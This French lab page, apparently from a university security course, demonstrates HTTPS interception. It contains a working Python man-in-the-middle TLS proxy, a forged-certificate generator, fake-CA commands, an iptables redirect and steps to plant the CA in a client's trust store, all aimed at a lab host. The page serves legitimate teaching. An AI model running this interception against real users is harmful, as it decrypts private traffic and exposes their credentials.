====== Interception HTTPS ====== Nous allons mettre en oeuvre le mécanisme d'interception HTTPS, qui consiste à faire in Man-in-the-Middle pour déchiffre le traffic HTTPS entre le client et le serveur ! Considérons le réseau suivant : Client Web <-----> Proxy <--- (...) --> Server Web (https://nile.metal.fr) === Proxy SSL === Voici le code de notre proxy SSL : #!/usr/bin/python3 import socket import ssl import sys import time import datetime import os BUFSIZE = 4096 # this certificate must be trusted by the client victim! FAKE_CA_CERT = "fake-ca-cert.pem" FAKE_CA_KEY = "fake-ca-key.pem" # a fake certificate for the server that is a copy of the actual certificate except it is signed by our fake CA FAKE_SERVER_CERT = "fake-server-cert.pem" FAKE_SERVER_KEY = "fake-server-key.pem" # actual CA certificate CA_CERT = "ca-cert.pem" ######### MISC ######### def log_message(format, *args): sys.stderr.write("[%s] %s\n" % (datetime.datetime.now().strftime("%y-%m-%d %H:%M:%S"), format%args)) ######### Main Serve Routine ######### # handle one connection def serve(clientconn, clientaddr, serveraddr): (serverhost, serverport) = serveraddr # the actual server (clienthost, clientport) = clientaddr # the actual client # wrap client connection with SSL context clientcontext = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) clientcontext.load_cert_chain(certfile=FAKE_SERVER_CERT, keyfile=FAKE_SERVER_KEY) clientconnssl = clientcontext.wrap_socket(clientconn, server_side=True) # connect to server with SSL context serverconn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) servercontext = ssl.create_default_context(ssl.Purpose.SERVER_AUTH) servercontext.load_verify_locations(CA_CERT) # should be in the store... servercontext.check_hostname = True serverconnssl = servercontext.wrap_socket(serverconn, server_side=False, server_hostname=serverhost) try: serverconnssl.connect(serveraddr) except ssl.SSLError as e: log_message("%s", e) clientconnssl.close() return # start talking in SSL/TLS sys.stdout.write("~~~~~ REQUEST ~~~~~\n") buffer = clientconnssl.recv(BUFSIZE) sys.stdout.write("%s" % buffer.decode()) serverconnssl.sendall(buffer) sys.stdout.write("~~~~~ ANSWER ~~~~~\n") buffer = serverconnssl.recv(BUFSIZE) sys.stdout.write("%s" % buffer.decode()) clientconnssl.sendall(buffer) buffer = serverconnssl.recv(BUFSIZE) sys.stdout.write("%s" % buffer.decode()) clientconnssl.sendall(buffer) # close sockets serverconnssl.close() clientconnssl.close() log_message('all connections closed') ######### Main Loop ######### def main(): if len(sys.argv) != 4: sys.stderr.write("usage: sslproxy \n") sys.exit(1) SERVERHOST = sys.argv[1] SERVERPORT = int(sys.argv[2]) PROXYHOST = '' PROXYPORT = int(sys.argv[3]) proxyaddr = (PROXYHOST, PROXYPORT) serveraddr = (SERVERHOST, SERVERPORT) # the target server # create proxy socket listening on PROXYPORT proxysocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) proxysocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) proxysocket.bind(proxyaddr) proxysocket.listen() # main loop log_message('proxy listening on port: %d', PROXYPORT) log_message('target server: %s', serveraddr) while True: try: log_message("waiting new connection...") clientconn, clientaddr = proxysocket.accept() serve(clientconn, clientaddr, serveraddr) except KeyboardInterrupt: log_message("shutting down!") proxysocket.close() break ######### Main Program ######### main() === Génération des faux certificats === Commençons par générer un //fake CA// : $ certtool --generate-privkey --outfile fake-ca-key.pem $ certtool --generate-self-signed --load-privkey fake-ca-key.pem --outfile fake-ca-cert.pem Voici les réponses à donner strictement : * La plupart des champs peuvent rester vides. * Common name: FAKECA * The certificate will expire in (days): 255 * Does the certificate belong to an authority? (y/N): y * Will the certificate be used to sign other certificates? (y/N): y * CRL signing: y * All other extensions: NO (required) Pour afficher le contenu de son certificat : $ certtool --infile fake-ca-cert.pem -i Générons maintenant le //fake// certifcat de notre serveur. $ certtool --generate-privkey --outfile fake-server-key.pem $ certtool --generate-certificate --load-privkey fake-server-key.pem --outfile fake-server-cert.pem --load-ca-certificate fake-ca-cert.pem --load-ca-privkey fake-ca-key.pem Voici les réponses à donner strictement : * La plupart des champs peuvent rester vides * CN=nile.metal.fr * DNSName=nile.metal.fr * IP address=10.0.0.2 * The certificate will expire in (days): 255 * Will the certificate be used for signing (required for TLS)? (y/N): y * Will the certificate be used for encryption (not required for TLS)? (y/N): y Vous pouvez également utiliser le script suivant pour générer automatiquent le //fake// certificat pour le serveur nile.metal.fr : ./gen-fake-cert.py nile.metal.fr 443 #!/usr/bin/python3 import socket import ssl import sys import pprint import OpenSSL # deprecated ? import time import datetime import os import struct # this certificate must be trusted by the client victim! FAKE_CA_CERT = "fake-ca-cert.pem" FAKE_CA_KEY = "fake-ca-key.pem" # a fake certificate for the server that is a copy of the actual certificate except it is signed by our fake CA FAKE_SERVER_CERT = "fake-server-cert.pem" FAKE_SERVER_KEY = "fake-server-key.pem" ######### MISC ######### def log_message(format, *args): sys.stderr.write("[%s] %s\n" % (datetime.datetime.now().strftime("%y-%m-%d %H:%M:%S"), format%args)) ######### Certificate Tools ######### # cert input are assuming to be x509 # save x509 cert file (PEM format) def save_cert(cert, path): certfile = open(path, "wb") certfile.write(OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_PEM, cert)) certfile.close() # save private key file (PEM format) def save_key(key, path): keyfile = open(path, "wb") keyfile.write(OpenSSL.crypto.dump_privatekey(OpenSSL.crypto.FILETYPE_PEM, key)) keyfile.close() def load_cert(path): certfile = open(path, 'rt') cert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, certfile.read()) certfile.close() return cert def load_key(path): keyfile = open(path, 'rt') key = OpenSSL.crypto.load_privatekey(OpenSSL.crypto.FILETYPE_PEM, keyfile.read()) keyfile.close() return key ######### Generate Fake Certificate ######### def generate_fake_cert(cert, cacert, cakey): # get CN & SAN from x509 cert cn = cert.get_subject().CN ext = None for idx in range(cert.get_extension_count()): ext = cert.get_extension(idx) if(ext.get_short_name() == b'subjectAltName'): break # if DEBUG: print(" * SAN = ", ext.get_data()) # in raw format (one should decode it...) # create a key pair fakekey = OpenSSL.crypto.PKey() fakekey.generate_key(OpenSSL.crypto.TYPE_RSA, 1024) # create a new x509 cert fakecert = OpenSSL.crypto.X509() # x509 format fakecert.get_subject().CN = cn fakecert.set_serial_number(int(time.time())) fakecert.gmtime_adj_notBefore( 0 ) # not valid before today fakecert.gmtime_adj_notAfter( 60*60*24*365*5 ) # not valid after 5 years fakecert.set_pubkey(fakekey) fakecert.set_version(0x2) # set certificate version to X509 v3 (0x2), required for X509 extensions # add subjectAltName X509 extension (SAN) if ext: fakecert.add_extensions([ext]) # set issuer and CA signature fakecert.set_issuer(cacert.get_subject()) fakecert.sign(cakey, 'sha1') fakecert.sign(cakey, 'sha256') return (fakecert, fakekey) ######### Main Program ######### if len(sys.argv) != 3: sys.stderr.write("usage: sslproxy \n") sys.exit(1) SERVERHOST = sys.argv[1] SERVERPORT = int(sys.argv[2]) serveraddr = (SERVERHOST, SERVERPORT) # the target server # load CA cert & CA key (x509) fakecacert = load_cert(FAKE_CA_CERT) fakecakey = load_key(FAKE_CA_KEY) sslservercert = ssl.get_server_certificate(serveraddr) servercert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, sslservercert) servercn = servercert.get_subject().CN log_message('Get certificate: %s', servercn) fakeservercert, fakeserverkey = generate_fake_cert(servercert, fakecacert, fakecakey) save_cert(fakeservercert, FAKE_SERVER_CERT) save_key(fakeserverkey, FAKE_SERVER_KEY) log_message('Save fake server certificate %s and key %s', FAKE_SERVER_CERT, FAKE_SERVER_KEY) === Lancement du Proxy HTTPS === Lancement du proxy : iptables -t nat -F iptables -t nat -A PREROUTING -d nile.metal.fr -p tcp --dport 443 -j REDIRECT --to-port 4444 ./sslproxy.py nile.metal.fr 443 4444 === Mise en oeuvre avec un client === Sur le client : wget -4 --ca-certificate=fake-ca-cert.pem https://nile.metal.fr Pour ajouter le //fake// CA dans le store du client, il faut faire : cp ca-cert.pem ca-cert.crt # renommage cp ca-cert.crt /usr/share/ca-certificates/mycert/ dpkg-reconfigure ca-certificates Puis, il suffit de faire : wget -4 https://nile.metal.fr Video de démo par A. Guermouche : https://www.youtube.com/watch?v=KURaBFMn4xg ==== Documentation ==== Le code et la documentation du projet (version antérieure) sont ici : https://gitlab.inria.fr/esnard/https-interception About HTTPS interception: * http://www.bortzmeyer.org/https-interception.html * http://roberts.bplaced.net/index.php/linux-guides/centos-6-guides/proxy-server/squid-transparent-proxy-http-https * http://wiki.squid-cache.org/Features/HTTPS * https://mitmproxy.org/doc/howmitmproxy.html * http://docs.mitmproxy.org/en/latest/transparent.html * https://blog.heckel.xyz/2013/07/01/how-to-use-mitmproxy-to-read-and-modify-https-traffic-of-your-phone/ About X509 Certifcates: * SNI : https://fr.wikipedia.org/wiki/Server_Name_Indication * SAN : https://en.wikipedia.org/wiki/Subject_Alternative_Name About SSL in Python3: * https://docs.python.org/3/library/ssl.html Misc: * https://cabforum.org * [[secres:https-misc| Quelques Notes]]